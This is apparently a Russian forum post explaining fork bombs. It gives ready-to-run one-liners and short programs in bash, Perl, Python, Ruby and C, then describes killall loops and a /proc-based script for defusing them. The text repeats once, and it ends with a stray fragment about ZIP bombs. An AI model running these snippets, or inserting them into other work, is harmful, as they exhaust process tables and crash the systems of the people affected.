Пожалуйста, обратите внимание, что пользователь заблокирован
Концепция Fork Bomb — коварная маленькая программа, которая порождает себя n-раз, отбросив цепную реакцию (рекурсия) и тем самым быстро исчерпав ресурсы системы.
Примеры создания Fork Bomb в Unix/Linux
P.S WARNING! Эти примеры могут привести к сбою вашего компьютера в случае его выполнения.
Примеры создания Fork Bomb с использованием bash
Итак, код выглядит так:
В консоли Bash (в Linux-дистрибутивах):
Где:
Идем дальше.
Примеры создания Fork Bomb с использованием perl
Пример встроенной оболочки с использованием интерпретатора Perl:
Примеры создания Fork Bomb с использованием Python
Пример кода:
Примеры создания Fork Bomb с использованием Ruby
И так, вот код:
Примеры создания Fork Bomb с использованием C/C++
Код:
Примеры Defusing Fork Bomb в Unix/Linux
Defusing — так званое разминирование fork bomb. Из-за их характера, такие бомбы трудно остановить после их запуска. Чтобы остановить такую бомбу, нужно завершить все рабочие копии, чего может быть трудно достичь. Одна из проблем заключается в том, что данная команда не может быть выполнена из-за того, что таблица процессов полностью забита. Вторая серьезная проблема заключается в том, на момент поиска процессов для прекращения потратилось время за которое могло создатся еще пару форков программы.
Для удаления такой бомбы, можно использовать одну из перечисленных команд:
Когда у системы мало свободных PID (в Linux максимальное количество PID-ов можно получить получено из /proc/sys/kernel/pid_max), «разрядка» form bomb-ы становится более сложной:
Можно получить ошибку:
В этом случае разрядка бомбы возможна только в том случае, если хотя бы одна оболочка открыта. Процессы могут не разветвляться, но можно выполнить любую программу из текущей оболочки. Как правило, возможна только одна попытка.
Команда «killall -9» не выполняется непосредственно из оболочки, потому что команда не является атомарной и не удерживает блокировки в списке процессов, поэтому к тому времени когда она закончится, fork bomb наплодит еще ПИДов. Поэтому нужно запустить несколько процессов killall, например:
Еще пример, — так как таблица процессов достапна в Linux через ФС (/proc), то можно обезвредить данный форк бомбы с помощью встроенных функций bash, которые не требуют развертывания новых процессов.
Следующий пример идентифицирует процессы, связанные с нарушением и приостанавливает их, чтобы предотвратить данный форк, до того момента, пока они убиты по одному за раз. Это позволяет избежать состояния гонки других примеров, которые могут потерпеть неудачу, если нарушающие процессы могут развиваться быстрее, чем они убиты:
Примеры создания Fork Bomb в Unix/Linux
P.S WARNING! Эти примеры могут привести к сбою вашего компьютера в случае его выполнения.
Примеры создания Fork Bomb с использованием bash
Итак, код выглядит так:
В консоли Bash (в Linux-дистрибутивах):
Код:
:(){ :|:& };:
Где:
- : ( ) — Определение функции. (На форуме есть такой смайлик, поэтому уберите пробел между двоеточием и первой скобкой)
- { — Открытие функции.
- :|: — Далее, загружает копию функции «:» в память тем самым, будет вызывать само себя с использованием техники программирования ( так называемая рекурсия) и передает результат на другой вызов функции.
- ‘:’ — Худшая часть — функция, вызываемая два раза, чтобы «бомбить» вашу систему.
- & — Помещает вызов функции в фоновом режиме, чтобы fork (дочерний процесс) не мог «умереть» вообще, тем самым это начнет есть системные ресурсы.
- } — Закрытие функции.
- ; — Завершите определение функции. Т.е является разделителем команд, (такой как и &&).
- : — Запускает функцию которая порождает fork bomb().
Код:
#!/usr/bin/env bash -x
bomb() {
bomb | bomb &
};
bomb
Идем дальше.
Примеры создания Fork Bomb с использованием perl
Пример встроенной оболочки с использованием интерпретатора Perl:
Код:
# perl -e "fork while fork" &
Примеры создания Fork Bomb с использованием Python
Пример кода:
Код:
import os
while True:
os.fork()
Примеры создания Fork Bomb с использованием Ruby
И так, вот код:
Код:
#!/usr/bin/ruby
loop { fork { __FILE__ } }
Примеры создания Fork Bomb с использованием C/C++
Код:
Код:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
Примеры Defusing Fork Bomb в Unix/Linux
Defusing — так званое разминирование fork bomb. Из-за их характера, такие бомбы трудно остановить после их запуска. Чтобы остановить такую бомбу, нужно завершить все рабочие копии, чего может быть трудно достичь. Одна из проблем заключается в том, что данная команда не может быть выполнена из-за того, что таблица процессов полностью забита. Вторая серьезная проблема заключается в том, на момент поиска процессов для прекращения потратилось время за которое могло создатся еще пару форков программы.
Для удаления такой бомбы, можно использовать одну из перечисленных команд:
Код:
# killall -STOP processWithBombName
# killall -KILL processWithBombName
Когда у системы мало свободных PID (в Linux максимальное количество PID-ов можно получить получено из /proc/sys/kernel/pid_max), «разрядка» form bomb-ы становится более сложной:
Код:
# killall -9 processWithBombName
Можно получить ошибку:
Код:
bash: fork: Cannot allocate memory
В этом случае разрядка бомбы возможна только в том случае, если хотя бы одна оболочка открыта. Процессы могут не разветвляться, но можно выполнить любую программу из текущей оболочки. Как правило, возможна только одна попытка.
Команда «killall -9» не выполняется непосредственно из оболочки, потому что команда не является атомарной и не удерживает блокировки в списке процессов, поэтому к тому времени когда она закончится, fork bomb наплодит еще ПИДов. Поэтому нужно запустить несколько процессов killall, например:
Код:
# while :; do killall -9 processWithBombName; done
Еще пример, — так как таблица процессов достапна в Linux через ФС (/proc), то можно обезвредить данный форк бомбы с помощью встроенных функций bash, которые не требуют развертывания новых процессов.
Следующий пример идентифицирует процессы, связанные с нарушением и приостанавливает их, чтобы предотвратить данный форк, до того момента, пока они убиты по одному за раз. Это позволяет избежать состояния гонки других примеров, которые могут потерпеть неудачу, если нарушающие процессы могут развиваться быстрее, чем они убиты:
Код:
# cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done
Официальная статья/статья используемая для создания темы https://telegra.ph/Sozdanie-Fork-Bomb-v-UnixLinux-09-17
— архивный файл, который по своей природе обладает разрушающим действием. При распаковке может вызвать крах системы.
Думаете это невозможно. Как бы не так. Сама по себе ZIP-бомба не более чем пустышка, но в ней зашит особый алгоритм генерирования данных. Если пользователь попытается распаковать такой архив, содержащиеся в нём слои по 16 файлов на уровень начнут разворачиваться, генерируя огромное количество бессмысленной информации. В результате «взрыва» этой ZIP-бомбы диск оказывается забитым кэшем под завязку и система полностью зависает или падает в BSOD.